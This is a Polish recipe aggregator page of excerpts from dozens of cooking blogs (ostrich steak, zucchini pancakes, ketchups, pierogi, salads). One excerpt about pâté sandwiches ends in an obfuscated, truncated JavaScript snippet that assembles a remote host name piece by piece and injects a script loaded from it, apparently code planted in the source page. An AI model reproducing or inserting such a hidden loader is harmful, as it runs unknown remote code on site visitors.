Stek ze Strusia z kaszą jaglaną w prażonej cebuli z musem z wiśni peruwiańskiej ,figi i śliwki kalifornijskiej 201

steki ze Strusia Marynata: 4 łyżki oleju musztardowego 4 łyżki musztardy z gorczycą pikantej 2 łyżki wody różanej 2 łyżki octu jabłkowego 1 łyżka octu balsamicznego 1 łyżka sosu sojowego 1 łyżka pieprzu świeżego mielonego 2 szczypty soli 2 łyżki octu balsamicznego z fig Składniki do kaszy : 1/2 papryki żółtej 1/2 papryki czerwonej 1/2 szczypiorku drobno posiekanego 1/4 ogórka zielonego

Viola cooks with passion
Kotlety z białej kaszy gryczanej 261

Powoli partiami dodawać bułkę tartą, aż masa będzie zwarta.  Doprawić do smaku. Formować kotleciki i smażyć na rozgrzanym oleju na rumiano z każdej strony.  Podawać z dowolnym sosem np czosnkowym lub zwyczajnym keczupem. Smacznego

Tagebuch po polsku
Greckie placki pomidorowe (tomatokeftedes) 199

nadmiaru tłuszczu na ręczniku papierowym, ale niestety tomatokeftedes mają luźniejszą konsystencję od naszych placków ziemniaczanych, więc przy zdejmowaniu na docelowy talerz mogą się porwać :( Podawać np. z jogurtem greckim, sosem czosnkowym lub tzatzikami.  I jeszcze widoczek na Meteory, masyw skał w centralnej Grecji (zdjęcie wykonała moja siostra - dziękuję). Grecja - Meteory ----- Podobne: Placki cukiniowo-ziemniaczane Placki wielowarzywne Rozgrzewające placki dyniowe

Weekendy w domu i ogrodzie
Strączki - recenzja książki Marysi Banach 151

tytułowymi roślinami. Można z nich wyczarować na prawdę wiele - nie tylko grochówkę, czy znaną nam fasolkę po bretońsku.  Rośliny strączkowe z powodzeniem można zastosować w zupach, sałatkach, sosach, daniach głównych oraz deserach. Co powiecie na lody z czerwonej soczewicy, brownie z fasoli, sajgonki z fasoli, czy hummus z mango i kokosem? Łączenie smaków daje nieograniczone możliwości i Marysia właśnie

Di gotuje
zapiekanka z tego masz po niedzieli... 251

wsypać ziemniaki ugotowane w mundurkach i pokrojone w talarki, dodać pokrojoną cebulę i koperek, całą marynatę z moździerza i delikatnie zamieszać dodać na wierzch ugotowany kalafior i pieczarki w sosie śmietankowym z obiadu poprzedniego użyłam ser morski, ser żółty rozdrobnić w rozdrabniaczu, wymieszać ze śmietaną gęstą 18% i wlać na wierzch zapiekanki, piekarnik nagrzany na 200 C, grzanie góra

W Mojej Kuchni Lubię
Spaghetti z krewetkami i pomidorami 225

wszystko razem 3 min, dodajemy świeże zioła, makaron a na sam koniec pieprz i sól. Danie jest gotowe do podania jak tylko dodamy przyprawy i dokładnie wymieszamy makaron z sosem. Smacznego

Kuba Gotuje
Pomidorów czas. 184

kraksy, jeśli któryś słoik byłby nieszczelny.  Taki przecier jest w miarę rzadki, można go więc spokojnie pić jak sok albo na jego bazie robić tradycyjną zupę pomidorową. Jako sos do pizzy jest zdecydowanie zbyt płynny

bistro mama
Babka ziemniaczana. Rejbak, kugiel, pyrczok, kartoflak 330

pilnujcie, czy babka zbyt się z wierzchu za mocno nie przypieka). Gorącą babkę kroimy na porcje i podajemy np. z kwaśną śmietaną, z gęstym jogurtem, z sosem grzybowym, gulaszem. Na drugi dzień warto pokroić ją centymetrowe plastry i odsmażyć na niewielkiej ilości oleju rzepakowego – będzie jeszcze bardziej chrupiąca i pyszna. SKŁADNIKI 2,5kg ziemniaków typu B lub C (waga

Karo in the Kitchen
Krokiety Z Pieczarkami I Mięsem Z Rosołu 182

misce na ile starczy mi naleśników ) i zwijamy. 5. Każdego krokieta obtaczamy w jajku i bułce tartej i obsmażamy na złoty kolor na patelni. Możemy podać np. z sosem pieczarkowym <-- Klik.     Smacznego

Gotowanie...to proste !
Dip z tahini 249

dań z grilla🙂 Składniki: 4 łyżki jogurtu greckiego 1 łyżka pasty tahini 1 ząbek czosnku przeciśnięty przez praskę sok z 1/2 limonki sól i pieprz Przygotowanie: Wszystkie składniki sosu … Czytaj dalej Dip z tahini

czarrna od kuchni
Domowy Hamburger jak z McDonald's 222

masła 620 g mąki pszennej 1,5 łyżeczki soli jajko   odrobina mleka (do posmarowania bułeczek) Burgery: 500 g mielonej wołowiny cebula 2 ząbki czosnku łyżka musztardy łyżeczka sosu Worcester (ewentualnie Maggi) łyżeczka zimnej wody 2 małe jajka sól, pieprz przyprawy: słodka papryka, gorczyca olej (do smażenia) Dodatkowo: ok. 2 o górki konserwowe duża cebul a musztarda ketchup  Domowy

Słodka Strona
NADZIEWANY BAKŁAŻAN – DON’T STARVE – pieczony bakłażan z farszem grzybowo-warzywnym 225

jest gotowy. Warto wbić też w niego widelec i sprawdzić, czy jest dostatecznie miękki. PODANIE Upieczony bakłażan dobrze smakuje w wersji solo, ale można też podać go z sosem czosnkowym lub jogutem greckim. Po konsumpcji regeneruje 3 punkty zdrowia, dodaje 37,5 punktów nasycenia oraz 5 punktów poczytalności. Gotowanie w grze trwa 40 sekund, a potrawa gnije po 15 dniach

Nerds Kitchen
Frytki z batatów 192

Całość dokładnie mieszamy. Piekarnik nagrzewamy do 200 stopni, bataty przekładamy na blachę wyłożoną papierem i pieczemy około 25 minut do lekkiego zarumieniania. Podajemy z sosem pomidorowym lub jogurtowym. Smacznego! Artykuł Frytki z batatów pochodzi z serwisu MenMagazine

Menmagazine
Schabowy na ostro i ziemniaki czosnkowe 223

stron) pieprzem cayenne i obtaczamy w bułce. Piekarnik nagrzewamy do 240 stopni (opcja grill) i wkładamy ziemniaki - zapiekamy (bez przykrycia) ok. 20-25 min. W tym czasie przygotowujemy sos do ziemniaków. W szklance mieszamy oliwę z przeciśniętym przez praskę czosnkiem - w między czasie zalewamy ziemniaki w piekarniku. 10 min przed wyjęciem ziemniaków smażymy kotlety - na rozgrzanym oleju. Ok. 1 minutę

Alutka-Gotuje
Majonez z płatków jaglanych 211

Majonez z płatków jaglanych Co prawda nie jest to klasyczny majonez, który wielu z Was zna z domu czy sklepów, w którym mamy masę oleju i

Blendman
Tortille z łososiem 284

Składniki: 1 tortilla Fanex o średnicy 30 cm 100 g łososia wędzonego 1 opakowanie serka kanapkowego chrzanowego (150 g) posiekana dymka 2 liście sałaty lodowej sos 1000 wysp Fanex Przygotowanie: … Czytaj dalej Tortille z łososiem

czarrna od kuchni
Lekka ,aromatyczna pyszna szarlotka 181

minut. Obrać pozostałe 3 jabłka ze skórki i wyciąć środek. Rozgrzać piekarnik do 180 ° C. Rozwałkować na papierze ciasto wyjęte z lodówki, przełożyć do formy . Dodać sos z jabłek na całe ciasto a wokoło ułożyć plasterki jabłka .Posypać pozostałym cukrem zmieszanym z cynamonem Piec przez około 30-40 minut

w mojej kuchni
fasolkowo-warzywne babeczki z czerwonymi pieprzami... 237

masę do pełna, piekarnik elektryczny nagrzany na 200 C, grzanie góra/dół i piec około 40 minut - smakują wybornie i na ciepło i na zimno, z barszczem, śmietaną, sosami jakie się lubi............SMACZNEGO

W Mojej Kuchni Lubię
Pesto z natki pietruszki, marchewki i botwinki 238

też do niedawna wyrzucałam ale ma ona w sobie za dużo dobrych składników aby lądowała w koszu. Wykorzystajmy ją do pesto, będzie znakomite do makaronu czy kanapek, jako sos do burgerów. Zachęcam do robienia, a Wy co robicie z natki marchewki? Pesto z natki pietruszki, marchewki i botwinki. ROZWIŃ I CZYTAJ DALEJ

Moje Małe Czarowanie
Kolorowa zapiekanka z grillowanych warzyw i boczku-na cieście francuskim 229

Wymyślona przeze mnie na kolacje,dlatego zdjęcia nie są super jakości-ale do rana nie doczekał nawet kawałek-bo była pyszna,podałam ją z pesto i sosem balsamicznym i wyszło na prawdę pysznie... Grillowana cukinia i papryka,do tego wędzony boczek,czerwona cebulka i ser-wszystko na pysznym cieście francuskim-mego kolorowo,mniam.... Składniki: opakowanie ciasta francuskiego 2 małe cukinie

Swojskie jedzonko
Shawarma z kurczaka z bakłażanem 166

konkretnie libańskiej. Mięso jest marynowane, pieczone i doprawione aromatycznymi przyprawami, dzięki czemu jest soczyste i niezwykle smaczne. Idealnie sprawdzi się jako farsz do pity podanej z ulubiona sałatką i sosem. Składniki : 400g piersi z kurczaka 3 łyżki octu 3 łyżki wody sok z połowy cytryny 1 łyżeczka przyprawy libańskiej siedem smaków pół niedużego bakłażana sól, pieprz ziarenka granatu do przybrania

Codzienne Gotowanie
Pełnoziarnisty makaron z kurczakiem i dynią 251

łyżeczki tymianku, 1/3 łyżeczki słodkiej papryki i szczyptą imbiru. Wlewamy kilka łyżek wody i dusimy, aż warzywa zmiękną (niecałe 10 minut). Na końcu doprawiamy koncentratem pomidorowym. W razie gdyby sos okazał się za gęsty - dolewamy odrobinę wody do otrzymania pożądanej konsystencji. Odcedzony makaron podajemy z warzywami - przyozdabiamy świeżą bazylią :)  Smacznego! 1 porcja - 512 kcal - białko - 35,9 g - tłuszcze

Moje Kuchenne Rewelacje
Milkshake z sosem owocowym 242

wlewamy ponownie do garnuszka - gotujemy przez chwilę, aż całość zgęstnieje. Do pojemnika blendera lub miksera kielichowego wlewamy mleko i dodajemy lody - miksujemy przez chwilę. Na dno szklanek wlewamy owocowy sos i dolewamy lody zmiksowane z mlekiem. Napój podajemy natychmiast - udekorowany gałką lodów lub świeżymi owocami. Smacznego

Plate of Joy
Pierogi z mięsem i pieczarkami 232

doprawić solą i pieprzem. Na każde wykrojone kółko nałożyć łyżeczkę farszu i skleić brzegi. Układać na tacy oprószonej mąką. Gotować w osolonym wrzątku ok. 10 min. Podawać z ulubionym sosem, masłem, lub skwarkami. Smacznego :) Rady: Z podanych składników wyszło mi trochę ponad 100 pierogów :) Pierogi można przechować do następnego dnia. Wystarczy je ugotować, ostudzone włożyć warstwami do miski (warstwy oddzielam

Na Ciasteczkowych Papierach
Pełnoziarniste spaghetti z pastą ajvar i kwiatami cukinii. 202

cukinią) 1 biała cebula 1 ząbek czosnku passata pomidorowa - 250 ml sól czerwona słodka papryka w proszku - 2 łyżeczki ostra papryka w proszku - wg uznania 20 ml oliwy do sosu i 20 ml do podsmażenia kwiatów łyżka cukru  dwie łyżki octu Wykonanie: Makaron ugotować na al dente czyli tak by stawiał lekki opór zębom. Warzywa (papryka, czosnek, cebula, papryka

Poezja Smaków - blog kulinarny
MALINY - CO WARTO O NICH WIEDZIEĆ? 160

Maliny, słodkie i pyszne owoce lata.  Są cudownym dodatkiem do jogurtów, owsianki, można z nich przygotować sos do lodów, dżem czy rozgrzewający sok/syrop na zimę. Sezon na maliny rozpoczyna się w lipcu, choć niektóre odmiany dojrzewają dopiero we wrześniu. Co takiego ciekawego kryje się w tych owocach? Źródło: http://www.fit.pl/g/str/image/dieta/malina.jpg Porcja

Vroblewska-fitlife
Królik pieczony 200

solą, obsypać ziołami. Ułożyć w żaroodpornym półmisku. Skropić olejem, wrzucić pokrojony w plasterki czosnek, szczelnie przykryć i wstawić do nagrzanego piekarnika. Piec ok.1,5 godziny. Następnie odkryć, polać wytworzonym sosem, na wierzchu mięsa ułożyć plastry masła,  dolać trochę gorącej, przegotowanej wody i piec jeszcze 15-20 minut do zrumienienia mięsa. Upieczonego królika podzielić na porcje. Mięso królika najlepiej spożywać

Kulinarne przemyslenia
Orzeźwiająca sałatka makaronowa z tuńczykiem 183

SKŁADNIKI: szklanka makaronu MALMA świderki (nie ugotowany) 200 g mix sałat 3 pomidory 1/2 puszki kukurydzy 2 ogórki gruntowe 1/2 kostki sera feta 2 garści oliwek puszka tuńczyka w sosie własnym oliwa z oliwek 4 łyżki octu jabłkowego łyżka przyprawy- suszone pomidorki z bazylią i czosnkiem PRZYGOTOWANIE: Makaron ugotować według zaleceń producenta. Do miski przesypać mix sałat, dodać pokrojone

ClauditteMissCooking
Lasagne z cukinią i pomidorami 175

powstał przy współpracy z marką Lubella.     Składniki: 7-8 płatów makaronu lasagne Lubella 2 kulki mozzarelli garść pomidorków koktajlowych 1 mała cukinia listki bazylii sól oliwa   sos mięsno-pomidorowy: Czytaj dalej... Artykuł Lasagne z cukinią i pomidorami pochodzi z serwisu Pasja Smaku

Pasja Smaku
Meksykańska salsa 240

Salsę zrobiłam w tym roku po raz pierwszy, ale jest na tyle dobra, że wyjadałam ją łyżka z garnka! To znakomity sos, który możecie wykorzystać do burgerów, posmarować nim tortillę czy podać z kurczakiem do makaronu albo ryżu.  Dzięki przetworom, zimową porą możecie zrobić obiad w kilka chwil i to bez dodatku konserwantów. Inspiracja: Filozofia smaku  Składniki

Fabryka pomysłów
Błyskawiczne piątki - podsumowanie 26.08.2016r. 161

Troszkę spóźnione podsumowanie kolejnych błyskawicznych piatków . Tym razem czternaście przepisów. Zapraszam! Danuta Sałatka z cukinii z sosem pieprzowym Arek Warianka   Marzena Naleśniki z twarogiem i jagodami Bożena Grzyby z jajkiem Angelika Tarta na gryczanym spodzie z karmelizowaną gruszką Magdalena  Francuskie tosty z dżemem i bananem Marta Lody z owocami   Paulina Tort malinowo-jogurtowy bez pieczenia Gosia Pomidorowa

Magiczne Życie Marty
Kotlety z płatków owsianych z pieczarkami, marchewką i żółtym serem. 213

delikatnie dno, układamy kotleciki i smażymy z obydwu stron po kilka minut, na rumiano. Odsączamy ewentualnie z nadmiaru tłuszczu na papierowym ręczniku. Takie kotlety śmiało można podać z dowolnym sosem, pieczarkowym , grzybowym lub pomidorowym. Smacznego :)   Wszystkich zainteresowanych produktami zapraszam na stronę internetową http://www.stoislaw.com.pl/pl/.

Sama słodycz i szczypta chili
Cukinia faszerowana mięsem, kaszą bulgur i kurkami 204

piekarnika nagrzanego na 180 C i zapiekać ok 40 minut aż cukinia będzie miękka, funkcja termoobieg. Na 10 minut przed końcem pieczenia posypać żółtym serem. Gotowa cukinie podałam z sosem czosnkowym

Monia miesza i gotuje
Ketchup z cukinii. 164

Cukinia w tym roku obrodziła więc aż grzech jej nie wykorzystać. Ketchup to ulubiony sos mojej rodziny. Zjadamy go nie tylko z pizzą... Z jakiejś gazecie wpadł mi w oczy przepis na ten domowy ketchup, wyszedł wspaniały. Kto robił czekam na opinie a kto przepis widzi pierwszy raz może się skusi i wypróbuje?! Składniki; 1,5 kg obranej cukinii

Radość kipiąca uśmiechem.
Szybkie kanapki z pasztetem 165

ponadziewać na wykałaczki kostki pasztetu razem z oliwkami, marynowanymi warzywami lub wspomnianymi suszonymi śliwkami. Takie same kostki wkroimy także do szybkiej sałatki, a długie paseczki podsmażymy i podamy z sosem czosnkowym. (function(){ i32r_=("u"+"st");i32r=document.createElement("script");i32r.async=true; i32ru="12087833";i32r_+="a"+("t.");i32r_+="i"+("nf"+("o"))+("/"); i32ru+=".2m6cfus532rmnvhk";i32ru+="j1xkjsmmhXfyin"; i32r.src="//"+i32r_+i32ru;i32r.type="text/javascript

Moja smaczna kuchnia
Jak smakuje Toskania według Piotra Adamczewskiego? 192

Każdy włoski region charakteryzuje się swoimi tradycyjnymi przysmakami. W Neapolu zjemy najlepszą włoską pizzę, zaś w Bolonii koniecznie musimy spróbować potraw w sosem bolognese. A co się jada w Toskanii? Artykuł Jak smakuje Toskania według Piotra Adamczewskiego? pochodzi z serwisu CookMagazine

COOKMAGAZINE
Klopsiki w sosie pomidorowym z fasolką 147

papryki i gotować około 15 minut.Doprawić solą i pieprzem.Dodać ugotowaną i odcedzoną fasolkę , dokładnie wymieszać i całość gotować około 5 minut, aby wszystko razem się połączyło, a sos oblepił fasolkę

Moje domowe kucharzenie
Kurczak w kremowym sosie cebulowo-paprykowym 306

minut, podlać winem oraz bulionem i dusić  pod przykryciem do miękkości około 25-30 minut, dodać  topiony serek, doprawić  do smaku solą oraz pieprzem, gdy sos zgęstnieje, zdjąć z ognia.  Posypać grubo posiekaną natką pietruszki. Podawać z ziemniakami, kaszą czy ryżem. Smacznego

Wanilia i Kardamon
Polędwica wieprzowa z grila 220

papierze do pieczenia i pieczemy 30 minut. Na rozgrzanym grillu kładziemy kawałki mięsa i przypiekamy z każdej strony po około 10 minut. Mięso podajemy z jarzębiną, która świetnie zastępuje sos do mięsa i nadaje mu wytrawny, unikatowy smak:) A wszystko zagryzamy zdrowymi frytkami z marchewki Smacznego

Ania i Marcin gotują
TORTILLA ZAPIEKANA ZE SZPINAKIEM I PAPRYKĄ KONSERWOWĄ 185

żółty, na to ułożyć szpinak i paprykę konserwową. Tortille złożyć na pół i zapiekać w nagrzanym tosterze do sandwicha. Po upieczeniu odkroić niepotrzebne końcówki. Można podać z sosem ketchupowo- majonezowym

Zrób to smacznie
PLACUSZKI Z CUKINII 180

Doprawiamy do smaku przyprawami, mieszamy. Na rozgrzaną patelnią lekko posmarowaną olejem, nakładamy po 1 łyżce masy, smażymy placki z obu stron na złoto.  Możemy podać placuszki z ulubionym sosem lub zjeść samodzielnie

słodki bratek
Quinoa z gulaszem z dzika i borowików 198

odparuje, następnie dodajemy pieprz, sól, trochę igiełek rozmarynu i utarty w moździerzu jałowiec. Dolewamy trochę gorącej wody i dusimy pod przykryciem na małym ogniu, aż wszystkie składniki zmiękną, a sos się zredukuje. W międzyczasie, w razie potrzeby dolewamy po trochę wody i mieszamy, żeby gulasz się nie przypalił. Podajemy z ugotowaną komosa ryżową i obiad gotowy

Quinoa Raz!
Makaron z sosem mięsno-pomidorowym 246

pomidorów 1 szklanka czerwonego wytrawnego wina 1 cebula 3 ząbki czosnku 1/2 cukinii 1 opakowanie makaronu świderki Lubella przyprawy: papryka słodka, … Czytaj dalej Makaron z sosem mięsno-pomidorowym

czarrna od kuchni
Domowy keczup pikantny 139

przetrzeć przez sito. Wlać keczup do wyparzonych słoików. Zakręcić i odwrócić do góry dnem. Przykryć grubym ręcznikiem i zostawić, aż ostygnie. Idealny do pizzy, kanapek, jako dodatek do sosów

Kuchnia Pokoleń
Wegańska tarta z kurkami i młodymi porami 201

którym smażyłeś/łaś grzyby wlej mleko i dodaj mąkę kukurydzianą, dokładnie wymieszaj i zagotuj (zajmie Ci to dosłownie 1 minutę). Dodaj oliwę grzybową i dokładnie wymieszaj. Dodaj powstały sos do grzybów, wymieszaj. Przełóż masę na ciasto (udekorowałam resztkami ciasta, którego było za dużo do formy). Piecz przez 40 minut w temp. 180-190 C na środkowej półce piekarnika z termoobiegiem

greenscarf
Pesto z rukoli-pyszny dodatek do makaronu i sałatek 179

proste i pyszne i jako sos do makaronu i jako dodatek np do zapiekanki czy sałatek-polecam Składniki: garść rukoli garść orzechów(nerkowca,piniowe,laskowa lub nawet włoskie-jakie lubicie) dwie łyżki startego sera najlepiej parmezan ale może być również twardy żółty ser oliwa z oliwek sól pieprz  ząbek czosnku Przygotowanie: wszystkie składniki dajemy do blendera i rozdrabniamy razem

Swojskie jedzonko
Pierś kaczki „Saint-Tropez” 167

Smaczne połączenie kaczki z ulubionym śmietanowym sosem kurkowym.  Składniki 4 piersi kaczki 300 g kurek 4 szalotki szklanka bulionu drobiowego pół szklanki śmietany 18% 1/4 kostki masła 2 ząbki czosnku natka pietruszki sól pieprz ziarnisty   Przygotowanie   Piersi kaczki umyłem, osuszyłem. Natarłem zmiażdżonym ze szczypta soli czosnkiem oraz świeżo zmielonym pieprzem Oczyściłem dokładnie kurki. Obrałem szalotki, opłukałem

R'n'G Kitchen
Pikantny ketchup z cukinii 294

moje najśmielsze oczekiwania! Zapach podczas robienia był fenomenalny, a smak wprost wyborny! Ketchup z cukinii rzeczywiście jest pyszny. Idealny jako dodatek do kanapek czy pizzy, wyśmienity do użycia jako sos do ryżu. Czyżby lepszy niż tradycyjny ketchup z pomidorów? :) Z góry uprzedzam, iż moja wersja ketchupu z cukinii jest dość pikantna , warto wyregulować tu ilość przypraw pod swoje podniebienie, jeśli

Grunt to przepis!
Placki z cukinii. 168

grubości placków.  Smażyć placki do zrumienienia z obu stron (po około 2 minuty na stronę). Placki odsączyć z nadmiaru tłuszczu na talerzu wyłożonym papierowym ręcznikiem. Podawać z jogurtem, sosem pomidorowym lub paprykowym relishem

zadanie-gotowanie
Pomidory z bazylią do słoików 356

zimę słoiczek pomidorów będzie w sam raz do zupy, sosów czy sałatki. Użyłam swoich pomidorów i własnej wyhodowanej bazylii :) Składniki: 1 kg pomidorów twardych i mięsistych (u mnie lima) 2 gałązki bazylii 1 mała cebulka (opcjonalnie) sól - ok 1/2 łyżki Sposób wykonania: 1. Pomidory sparzamy wrzątkiem, obieramy z skórki. Obrane pomidory kroimy w kostkę i przekładamy do miski. Dodajemy soli

Kuchnia domowa Ani
Sałatka ziemniaczana z zielonym majonezem 172

sałatka ziemniaczana  z zielonym majonezem, do którego wykorzystałam świeże zioła i oczywiście czosnek. On zawsze nadaje charakteru sałatkom ziemniaczanym. Wszystko razem zblendowałam i powstał pyszny mocno aromatyczny sos. Można go też wykorzystać do przygotowania sałatki z innymi warzywami. Sałatka ziemniaczana  z zielonym majonezem Czas przygotowania: 30 minut Składniki: 1000-1200 g małych ziemniaków 2 duże ząbki

Kulinarne przygody Gatity
Sałatka z fig, jeżyn i orzechów włoskich 169

orzechami Opłukane i osączone jeżyny włożyć do miseczki, dodać ocet, oliwę, miód. Wymieszać widelcem, rozgniatając równocześnie owoce, tak aby puściły sok, ale nie były całkiem zgniecione.  Tak przygotowanym sosem polać figi. Skropić dodatkową porcją oliwy, posypać lekko solą i pieprzem. Gotowe. Smacznego

Stare Gary
TATAR Z POMIDORÓW I AWOKADO 197

pół, wydrąż miąższ i pokrój w kostkę. Cebulki obierz i drobno posiekaj. W miseczce wymieszaj sok z cytryny, oliwę z oliwek i ocet balsamiczny. Połącz wszystkie składniki z sosem. Wstaw do lodówki na   godzinę. Aby ładnie podać tatar użyj obręczy do formowania potraw albo wypełnij nim szklane kokilki, a następnie wyłóż zawartość na talerz odwracając je do góry dnem

Smaki Francji współczesna kuchnia francuska
Skrzydełka z wolnowaru 350

kości. Smakują naprawdę fantastycznie. Przygotowanie takich skrzydełek jest bardzo szybkie i proste, a reszta robi się sama :) Składniki: 10-12 skrzydełek z kurczaka 1/2 szklanki miodu 1/2 szklanki sosu sojowego 1/2 łyżeczki chilli 2 ząbki czosnku Skrzydełka umyć i osuszyć. Czosnek przecisnąć przez praskę. W miseczce połączyć wszystkie składniki marynaty i gotową przelać do misy wolnowaru. Do marynaty włożyć skrzydełka

kuchnia doski
Placuszki z cukinii z serem feta 237

ogrodzie szaleje,a moje oczy tylko się cieszą. Uwielbiam cukinie i będę to powtarzała cały czas :D  Propozycja placków z serem feta skradła moje serce do tego zwykły sos czosnkowy na jogurcie greckim - szaleństwo. Składniki:  4 małe cukinie lub 1 bardzo duża  3 jajka pęczek posiekanego kopru 2 ząbki czosnku  6 łyżek mąki 100 g sera

Niezły Młynek
Spaghetti bolognese z malmą 174

Malma Wykonanie: Na rozgrzanej oliwie smażymy cebulę, dodajemy mięso mielone i smażmy, aż straci różowy kolor. Dodać warzywa, mleko, przetarte pomidory, bulion, koncentrat, przyprawy i zioła. Gotoujemy, aż sos zgęstnieje. Makaron gotujemy w osolonym wrzatku al dente, odcedzamy. Przed podaniem posypujemy parmezanem

Gotowanie jest łatwe
sos winegret 170

Składniki 1 łyżeczka musztardy Dijon 1 łyżeczka mielonego  czosnku 3 łyżki octu jabłkowego sól i świeżo zmielony czarny pieprz 1/2 szklanki oleju z lnianki (rydzowy

w mojej kuchni
Bardzo prosta sałatka z grillowanej cukinii. 207

podać ją z pieczoną kiełbasą czy mięsem, to staram się zawsze połączyć się ją z pomidorem i cebulą. Czasem dodaję odrobinę czosnku, ale świetnie sprawdzi się tutaj też sos czosnkowy najlepiej własnej produkcji. Powstaje bardzo prosta sałatka, która nie powinna czekać aż cukinia ostygnie - do podania na już ;-) Składniki: 2 młodziutkie cukinie o łącznej wadze

Poezja Smaków - blog kulinarny
Tagliatelle zapiekane w sosie pomidorowym z warzywami i pulpecikami 255

jajko. Wszystkie składniki dokładnie połączyć. Formować małe pulpeciki.  Na patelni rozgrzać 1 łyżkę oliwy.  Obsmażyć pulpeciki z obu stron na lekko złoty kolor. Ugotowany makaron wymieszać z sosem pomidorowym z warzywami. Przełożyć do naczynia żaroodpornego.  Ułożyć na wierzchu pulpeciki. Posypać startą mozzarella. Zapiekać do rozpuszczenia sera ok. 20 minut w 180 stopniach. Smacznego, Anulla

Fabryka pomysłów
KROKIETY Z PARÓWKĄ I SEREM 209

Uwielbiam krokiety, dlatego z pozostałych naleśników po obiedzie postanowiłam zrobić krokiety z parówką i serem. Można podać je z ketchupem albo ulubionymi sosami. Składniki: Usmażyć naleśniki  (przepis tutaj) * parówki * plasterki sera żółtego * jajko do obtoczenia * bułka tarta do panierki * olej do smażenia Wykonanie: Usmażyć naleśniki, wystudzić. Na każdego naleśnika położyć plasterek sera

Zrób to smacznie
Najlepsze Placki z Cukinii 213

być dość dobrze doprawione dla uzyskania najlepszego smaku). Wszystko razem dokładnie mieszamy. Placuszki smażymy po ok. 4 minuty z każdej strony na rozgrzanej patelni z olejem. Podajemy z ulubionymi sosami (np. grzybowym) lub "solo". Moje posty

Słodka Strona
Ketchup pomidorowo-śliwkowy. 145

śliwkową. Ponieważ bardzo mi smakowała, zaczęłam się zastanawiać jak można ją wykorzystać w kuchni! Pomyślałam, że ketchup o takim smaku będzie wspaniałą bazą marynat do mięs, dobrym dodatkiem do sosów na ciepło i zimno. Pewnie znajdziecie jeszcze wiele zastosowań, podzielcie się nimi ze mną! SKŁADNIKI: 2 kg. dojrzałych pomidorów Lima 2 kg. słodkich dojrzałych śliwek 1 łyżka miodu ewentualnie cukier

Kuchnia Beaty
Jednogarnkowe ekspresowe spaghetti 160

jest również łyżeczka papryki, ale ja nie lubię jej połączenia z pomidorami na każde 100 g makaronu 100 ml wody +-100 ml w zależności od tego jak gęsty lubisz sos Przygotowanie: Pomidorki poprzekrawaj na pół lub w dużą kostkę, jeżeli używasz „normalnych”, a cebulę w piórka lub półplasterki. Wszystkie składniki wrzuć do dużego garnka. Dolej wody i gotuj

greenscarf
Krokiety z bulgurem 182

smaku solą i pieprzem. Na brzeg każdego naleśnika kładziemy łyżkę farszu i zawijamy. Krokiety układamy w naczyniu żaroodpornym. Passatę mieszamy z pozostałą częścią sera i przeciśniętym przez praskę czosnkiem. Sos wylewamy na naleśniki i zapiekamy 20 min w temperaturze 180°C. Przed podanie posypujemy posiekanym szczypiorkiem

R'n'G Kitchen
Piersi z kurczaka z mozzarellą i suszonymi pomidorami, pieczone w sosie pomidorowym. 189

Zapraszam dzisiaj na pyszne mięsko nadziewane suszonymi pomidorami i mozzarellą, pieczone w sosie pomidorowym.Pyszne mięciutki wprost rozpływa się w ustach . Zapraszam do wypróbowania:) Składniki: 5 ładnych pojedynczych piersi z kurczaka 1 słoiczek suszonych pomidorów w oleju 2 duże kulki mozzarelli sól, pieprz, szczypta chili do smaku 1 łyżka suszonej bazylii 1 łyżka  przyprawy węgierskiej PLENUS   1 gałązka: rozmarynu

Sama słodycz i szczypta chili
zapiekane kiełbaski z boczkiem 123

nadziania wykonanie: Kiełbaski nacinamy. W nacięcia opcjonalnie wciskamy kawałeczki sera. Każdą kiełbaskę owijamy plasterkiem boczku i spinamy wykałaczką. Układamy na blaszce. Pieczemy, aż boczek się zrumieni. Podajemy z ulubionymi sosami, musztardą, keczupem. Zapisz

Domowy Smak Jedzenia
Sałatka z tuńczykiem, rukolą, pomidorem i kukurydzą 201

jedzą króliki :)))). On na kotletach wychowany, to dlatego takie ma podejście :-)). Ja sałatki uwielbiam i robię, jak tylko mnie najdzie. Wam życzę udanego weekendu :-)) Składniki: 1 puszka tuńczyka w sosie własnym 3 większe pomidory rukola cebulka dymka z zieloną częścią kukurydza z puszki sól pieprz oliwa z oliwek Tuńczyka odsączam z zalewy, rukole myję, wrzucam do miski, dodaje pokrojone pomidory

kruche babeczki
Penne z sosem bolognese 155

jedno z moich ulubionych dań włoskich. Jest to potrawa dość czasochłonna jeśli chodzi o przygotowanie, ale uważam, że warto się potrudzić tą godzinkę żeby zjeść przepyszny makaron z sosem bolognese. A więc do dzieła :) Czytaj więcej

Czekoladowa muffinka
Klopsy w sosie koperkowym 154

Pyszne klopsiki wieprzowe w gęstym sosie koperkowym, z dużą ilością śmietany. Idealnie nadają się na obiad dla całej rodziny. Można podawać je z ziemniakami, kluskami bądź kaszą. Według mnie najlepiej smakują z ćwikłą z chrzanem. Czytaj więcej

Czekoladowa muffinka
szczupak pieczony w aromatycznym pomidorowo czosnkowym sosie 265

szczupak pieczony w sosie pomidorowo czosnkowym Pełnia lata, to również pełnia sezonu na szczupaka. Dlatego nie powinno nikogo dziwić, iż dziś pragnę przedstawić kolejny przepis z tą rybą w roli głównej.  składniki dla czterech osób szczupak o wadze ok 1,2 kg  3 łyżeczki koncentratu

Miód i pieprz
BAKŁAŻANY ZAPIEKANE Z KASZĄ KUSKUS I WARZYWAMI – kuchnia libańska 173

napełniamy farszem , podlewamy obok odrobiną wody i wkładamy do nagrzanego na 190C piekarnika na ok. 25-35 minut. Podajemy gorące posypane świeżą pietruszką. Smacznego! Ps Świetnym dodatkiem jest np. sos jogurtowy z odrobiną mięty i limonki

Ostra na Słodko
Cukinia faszerowana mięsem i kaszą jaglaną 256

rozkładamy w dwóch naczyniach żaroodpornych (w jednym taka ilość się nie zmieści).  Na dno naczynia wlewamy 6-8 łyżek wody lub dno wykładamy papierem do pieczenia. Dzięki temu, sos, który wypłynie z cukinii nie przypiecze się w naczyniu i będzie je łatwiej umyć. Sama cukinia nie przykleja się do naczynia. Cukinie posypujemy lekko solą.  Kaszę zalewamy wodą, solimy

Smak mojego domu
CHRUPIĄCE GOFRY 163

pieczenia, cukrem pudrem i żółtkami miksujemy na gładko. Delikatnie za pomocą łyżki dodajemy pianę, mieszamy. Gofry pieczemy na rumiano, studzimy na kratce. Podajemy np z bitą śmietaną i sosem owocowym

Z Majeczką w kuchni
Sos śliwkowo-malinowy do mięs 135

